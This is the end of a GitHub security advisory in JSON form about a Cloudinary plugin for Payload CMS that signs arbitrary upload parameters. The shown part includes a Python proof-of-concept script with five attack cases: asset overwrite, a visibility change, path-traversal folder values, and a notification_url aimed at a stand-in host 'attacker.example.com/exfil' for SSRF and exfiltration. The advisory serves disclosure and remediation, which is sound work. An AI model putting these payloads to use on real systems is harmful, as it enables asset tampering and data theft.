\"user-upload\"},\n        ),\n        (\n            \"CASE-2: Attacker-controlled folder + overwrite=true\",\n            {\n                \"timestamp\": ts,\n                \"folder\": \"attacker-controlled\",\n                \"public_id\": \"overwrite-target\",\n                \"overwrite\": \"true\",\n            },\n        ),\n        (\n            \"CASE-3: type=private \u2014 changes upload visibility\",\n            {\n                \"timestamp\": ts,\n                \"type\": \"private\",\n                \"public_id\": \"admin-document\",\n            },\n        ),\n        (\n            \"CASE-4: notification_url \u2014 potential SSRF / data exfiltration\",\n            {\n                \"timestamp\": ts,\n                \"folder\": \"media\",\n                \"notification_url\": \"http://attacker.example.com/exfil\",\n            },\n        ),\n        (\n            \"CASE-5: folder path traversal + invalidate=true\",\n            {\n                \"timestamp\": ts,\n                \"folder\": \"../../../../admin-assets\",\n                \"public_id\": \"../../../sensitive\",\n                \"invalidate\": \"true\",\n            },\n        ),\n    ]\n\n    results = []\n    for label, params in cases:\n        results.append(run_case(server, label, params))\n\n    passed = sum(results)\n    total = len(results)\n\n    print(\"\\n\" + \"=\" * 70)\n    print(f\"Results : {passed}/{total} cases confirmed\")\n\n    # Cases 1-5 all passing means the vulnerability is proven:\n    # the endpoint signs ANY paramsToSign regardless of content.\n    if all(results):\n        print(f\"\\n{GREEN}VERDICT: PASS \u2014 VULN-002 CONFIRMED{RESET}\")\n        print(\n            \"All 5 attack scenarios returned HTTP 200 with a mathematically valid\"\n            \" Cloudinary HMAC-SHA1 signature.\"\n        )\n        print(\n            \"The plugin endpoint signs arbitrary upload parameters without any\"\n            \" allowlist, folder enforcement, or overwrite/type restriction.\"\n        )\n        print(\n            \"Impact: any authenticated Payload user can mint valid Cloudinary\"\n            \" signatures for arbitrary parameters, enabling asset replacement,\"\n            \" privacy changes, and potential SSRF via notification_url.\"\n        )\n        sys.exit(0)\n    elif results[0]:\n        failed = [cases[i][0] for i, r in enumerate(results) if not r]\n        print(f\"\\n{YELLOW}VERDICT: PARTIAL \u2014 baseline succeeded but some cases failed{RESET}\")\n        print(f\"Failed cases: {failed}\")\n        sys.exit(2)\n    else:\n        print(f\"\\n{RED}VERDICT: FAIL \u2014 server not reachable or baseline request failed{RESET}\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-h5x8-xp6m-x6q4",
  "modified": "2026-06-19T22:10:37Z",
  "published": "2026-06-19T22:10:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jhb-software/payload-plugins/security/advisories/GHSA-h5x8-xp6m-x6q4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jhb-software/payload-plugins"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@jhb.software/payload-cloudinary-plugin: Arbitrary Cloudinary API Parameter Signing"
}